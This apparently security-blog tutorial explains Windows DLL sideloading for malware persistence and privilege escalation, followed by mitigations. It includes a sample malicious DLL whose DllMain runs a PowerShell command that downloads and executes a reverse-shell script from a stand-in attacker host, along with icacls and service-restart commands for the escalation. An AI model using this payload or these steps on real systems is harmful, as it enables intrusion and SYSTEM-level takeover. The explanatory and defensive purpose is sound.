Windows DLL Sideloading

Introduction
DLL Sideloading is a widely used technique in both malware deployment and privilege escalation. While it is commonly associated with executing malicious payloads or persistence it can also be used to escalate privileges, enabling attackers to move from standard user permissions to Administrator or SYSTEM-level access.
This article will cover how malware uses DLL Sideloading, followed by how attackers escalate privileges using it.
What is a DLL?
A Dynamic Link Library (DLL) is a shared library file used by Windows applications to store code, functions, and resources that multiple programs can use simultaneously. DLLs help make applications modular, reusable, and memory-efficient by allowing multiple programs to load and execute shared functions without duplicating code.
Why Use DLLs?
- Modularity: Allows developers to split an application into separate components.
- Code Reusability: Common functions (e.g., printing, file handling, or networking) are stored in DLLs and can be shared by multiple programs.
- Memory Efficiency: Instead of every application having its own copy of common functions, they share a single DLL, reducing memory usage.
- Easier Updates: Developers can update a DLL without modifying the entire application.
The DLL Search Order
Windows applications dynamically load DLLs using a predefined search order. If an attacker can place a malicious DLL in a directory searched before the legitimate DLL, their DLL gets executed instead.
By default, when a Windows application calls LoadLibrary()
or LoadLibraryEx()
, Windows searches for the DLL in the following order:
- Application’s Directory (
C:\Program Files\LegitApp\
) - System32 Directory (
C:\Windows\System32\
) - Windows Directory (
C:\Windows\
) - Current Working Directory (CWD)
- Directories in PATH Environment Variable
Malware places its DLL in Step 1, ensuring it gets loaded before the legitimate DLL. However, this can sometimes break the application if the required exports or dependencies are missing. This is where DLL proxying comes into play, allowing attackers to maintain functionality while injecting malicious code. We’ll cover DLL proxying in another article.
Example Attack Chain
Monitor DLL Loading with ProcMon : the attacker uses ProcMon (Process Monitor) to monitor and analyze which DLLs are loaded by system processes for examplesvchost.exe
.
ProcMon Configuration:
- Start ProcMon and set a filter to focus on
svchost.exe
:- Filter by Process Name =
svchost.exe
- Filter by Operation =
Load Image
(to capture DLL loading events)
- Filter by Process Name =
Analyze the Log:

- The attacker reviews the logs to see what DLLs are loaded by
svchost.exe
. Ifsvchost.exe
is attempting to load a specific DLL that is missing or can be exploited, it can be a window of opportunity for the attacker. - Any unusual behavior, such as the loading of unexpected or missing DLLs, indicates that sideloading a malicious DLL could be successful.

Once the attacker identifies a potential target DLL or missing DLL, they can proceed to place a malicious DLL in the correct location.
Drop a Malicious DLL in the Target Directory: The attacker then drops a malicious DLL (e.g., svchost.dll
) in a searchable directory where svchost.exe
might look for its required DLLs.
Possible locations include:
- System32 folder (
C:\Windows\System32\
) - SysWow64 folder (
C:\Windows\SysWow64\
) - Custom application directories used by services hosted by
svchost.exe
The malicious DLL should be named in a way that mimics a legitimate system DLL that svchost.exe
is likely to load, for example, svchost.dll
.
Example Malicious Code in the DLL:
The malicious DLL could execute any payload that runs under svchost.exe
’s SYSTEM-level privileges, such as opening a reverse shell:
#include <windows.h>
#include <stdio.h>
BOOL APIENTRY DllMain(HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) {
if (ul_reason_for_call == DLL_PROCESS_ATTACH) {
system("powershell -nop -c \"IEX(New-Object Net.WebClient).DownloadString('http://attacker.com/revshell.ps1')\"");
}
return TRUE;
}
Once the malicious DLL is loaded by svchost.exe
, the attacker gains full control of the system with SYSTEM privileges.
Privilege Escalation via DLL Sideloading
An attacker first needs to find a high-privilege service that loads a DLL from a writeable location, the service's recovery option must be configured to restart after a crash or failure or the attacker can stop and start it from low privileged user. Additionally, the attacker could reboot the system to trigger a restart of the service, causing the malicious DLL to be loaded. This can be done using:
- ProcMon : Track DLL loading by SYSTEM services.
- sc qc [ServiceName] : Check service configurations.
Services running as NT AUTHORITY\SYSTEM are prime targets.
Check for Writeable DLL Locations: Check write permissions using ICACLS After identifying a service, the next step is to check if any DLLs it loads are in a folder that is writable by normal users.
icacls "C:\Path\To\Service\Folder"
If Everyone or Authenticated Users have Write permissions, it’s vulnerable.

Replace the DLL and Restart the Service: Once a vulnerable DLL location is found, the attacker replaces the DLL with a malicious one containing payloads such as a reverse shell or code that spawns a command prompt. To restart the target service, you can try the following command:
net stop TargetService && net start TargetService
you should note that the service must allow normal users to restart it; otherwise, the impact of the attack will be lower. Once restarted, the service loads the malicious DLL, executing the attacker's code with SYSTEM privileges.
Mitigating DLL Sideloading Attacks
One of the best ways to mitigate DLL sideloading is to ensure that services impersonate the correct user when loading external libraries. If a privileged service loads a DLL while impersonating a low-privileged user, it can prevent attackers from executing code with elevated privileges.

This ensures that even if an attacker places a malicious DLL in a writable location, it will execute with the user’s privileges, not SYSTEM privileges.
Restrict Write Permissions: Ensure that directories where privileged services load DLLs (e.g., C:\Program Files, C:\Windows\System32) are not writable by non-admin users and use Access Control Lists (ACLs) to restrict modifications to application folders.
Enforce Secure DLL Loading Practices: Developers should use absolute paths when loading DLLs instead of relying on the default search orde and applications should validate DLL signatures before loading them to ensure they are trusted.
Conclusion
In the world of malware development, DLL sideloading is often considered a goldmine for achieving persistence. On the other hand, in exploit development, DLL sideloading has become rare due to various security mitigations like impersonation and restricted service permissions. To exploit DLL sideloading effectively, an attacker often needs control over a service or application to force it to load the malicious DLL, either through RPC or service ACL misconfigurations that allow normal users to interact with it.